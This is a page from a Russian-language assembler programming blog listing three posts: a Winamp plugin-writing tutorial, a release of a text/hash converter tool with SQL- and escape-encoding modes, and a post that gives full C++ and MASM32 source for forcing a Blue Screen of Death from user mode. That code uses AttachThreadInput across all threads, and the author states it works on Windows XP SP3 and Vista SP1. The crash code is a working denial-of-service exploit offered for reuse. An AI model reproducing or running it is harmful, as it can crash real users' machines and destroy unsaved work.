Print This Post Пишем плагины для Winamp’а

Четверг, 30. Июль 2009
Раздел: Assembler, автор:

Совсем недавно я освоил написание плагинов для этого проигрывателя. Следует отметить, что официального SDK от NullSoft нет, и эта компания изредка выдает общественности куски документации по своему плееру. Некоторые описанные возможности не работают или работают неправильно, некоторые совсем плохо прокомментированы, поэтому мне пришлось много экспериментировать, чтобы написать нечто рабочее. Кстати, пример написанного мной плагина вместе с полностью работоспособным сервисом ведения статистики прослушиваний и создания подписей-картинок для форумов можно посмотреть тут: MusicSign.
Существует достаточно всевозможных тонкостей написания плагинов для WinAmp'а, и я постараюсь их описать в этой статье. Примеры буду приводить на ассемблере MASM32 (собственно, сами плагины я на нем и пишу), но примеры будут несложные, поэтому знающим c/c++ и немного Win32 API будет легко их понять.
Читать дальше »

Print This Post Универсальный конвертер текста 1.0

Вторник, 23. Июнь 2009
Раздел: Assembler, автор:

Очередной релиз от меня - программка для конвертации текста в разные представления и вычисления хэшей, написанная на ассемблере (masm32).
Имеется быстрое копирование и вставка текста, сохранение и открытие текстовых файлов.

Поддерживает конвертацию:
* Text -> URLEncode
* Text -> String.fromCharCode (ascii)
* Text -> String.fromCharCode (utf)
* Text -> base64
* Text -> MySQL char
* Text -> HEX
* Text -> BIN
* Text -> chr()
* Text -> MSSQL char
* Text -> PostgreSQL
* Text -> MD5
* Text -> SHA1
* Text -> &#xxx; (ascii)
* Text -> &#xxx; (utf)
* Text -> \xhh
* Text -> %XX
* Text -> VB chr$()
* Text -> C# (char)
* Text -> Транслит
* URLEncoded -> Text
* base64 -> Text

Скриншот:

Скачать exe (10кб) и исходные коды: ZIP

В общем исходный код программки ничем не отличается от тех, что я выкладывал раньше, но есть несколько интересных особенностей, которые я опишу дальше.
Читать дальше »

Print This Post Как сделать BSOD из User-mode

Воскресенье, 17. Май 2009
Раздел: Assembler, автор:

Наткнулся на забавный исходник на одном китайском сайте, где показано, как можно сделать BSOD (Blue Screen of Death, синий экран смерти) в Windows из User-Mode (ring 3) без всякого Native API:

Код на c++:

#include <windows .h>
#include <tlhelp32 .h>
 
#pragma comment(lib,"user32.lib")
 
int main()
{
   HANDLE SnapShotHandle = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD,0);
   THREADENTRY32 tBuffer={0};
   tBuffer.dwSize=sizeof(THREADENTRY32);
   if((SnapShotHandle!=INVALID_HANDLE_VALUE) && Thread32First(SnapShotHandle,&tBuffer))
   {
       while (Thread32Next(SnapShotHandle,&tBuffer))
       {
           AttachThreadInput(tBuffer.th32ThreadID,GetCurrentThreadId(),TRUE);
       }
   }
   return 1;
}
</tlhelp32></windows>

Код на ассемблере (переписал с си++ для уменьшения размера, весит всего 1кб):

      .486
      .model flat, stdcall
      option casemap :none
      include \masm32\include\windows.inc
      include \masm32\include\user32.inc
      include \masm32\include\kernel32.inc
      include \masm32\macros\macros.asm
 
      includelib \masm32\lib\user32.lib
      includelib \masm32\lib\kernel32.lib
 
 
.data?
SnapShotHandle HANDLE ?
tBuffer THREADENTRY32 <>
 
.code
start:
mov SnapShotHandle,FUNC(CreateToolhelp32Snapshot,TH32CS_SNAPTHREAD,0)
mov tBuffer.dwSize,sizeof THREADENTRY32
 
invoke Thread32First,SnapShotHandle,offset tBuffer
 
.if SnapShotHandle!=INVALID_HANDLE_VALUE && eax
 
 
  again:
  invoke Thread32Next,SnapShotHandle,offset tBuffer
  .if eax!=0
    invoke AttachThreadInput,tBuffer.th32ThreadID,FUNC(GetCurrentThreadId),TRUE
    jmp again
  .endif
 
.endif
 
end start

Код проверен и работает на WinXP SP3 и Windows Vista SP1. На Windows 7 не работает, пофикшено, на XP SP2 тоже вроде бы не работает.

UPD: обнаружился код на c++, который способен вызвать BSOD на Win XP SP2, Win 2003 SP1 и Win NT SP4 (Discovered on 23.12.2004 by YuraN).
Читать дальше »

Страница 2 из 212